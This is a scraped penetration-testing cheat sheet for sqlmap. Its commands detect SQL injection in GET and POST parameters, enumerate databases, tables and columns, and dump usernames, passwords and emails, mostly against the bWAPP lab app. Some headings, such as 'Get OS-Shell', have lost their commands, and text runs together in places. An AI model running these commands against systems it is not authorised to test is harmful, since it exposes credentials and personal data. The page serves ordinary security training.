4.3.6 SQLMap
SQLMap
sqlmap -r <REQUEST_FILE> -p <POST_PARAMETER>
sqlmap -r Post.req
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title
sqlmap -u "http://10.10.10.10/file.php?id=1" -p id #GET Method
sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&password=admin" #POST MethodGet database if injection Exists
sqlmap -r login.req --dbs
sqlmap -u "http://10.10.10.10/file.php?id=1" --dbs #determine the databases:
sqlmap -u "http://10.10.10.10/file.php?id=1" -p id --dbs #GET Method
sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&password=admin" --dbs #POST Method
# List databases
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title --dbs
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP --tables
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP -T users --columns
sqlmap -u "http://<TARGET_IP>/sqli_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security_level=0" -p title -D bWAPP -T users -C admin,password,email --dumpGet Tables in a Database
Get data in a Database tables
Get OS-Shell
Example of usage
Dumping emails from a table
Common parameters
-u: The vulnerable URL.-p: The parameter you suspect is injectable.--dbms=mysql: You know the backend DBMS is MySQL.--level=5 --risk=3: Enables deeper and riskier tests.--technique=EUBT: Restricts the type of SQLi techniques used (Error, Union, Boolean, Time-based).-D ecommerce: Targeting theecommercedatabase.-T users: Looking into theuserstable.-C email: Only extracting theemailcolumn.--dump: Actually retrieves the data.
Listing columns of a table
Dumping usernames
Listing columns of the users table again (can be used for planning further dumps)
users table again (can be used for planning further dumps)Enumerating tables with specific prefix/suffix
💉SQLMapLast updated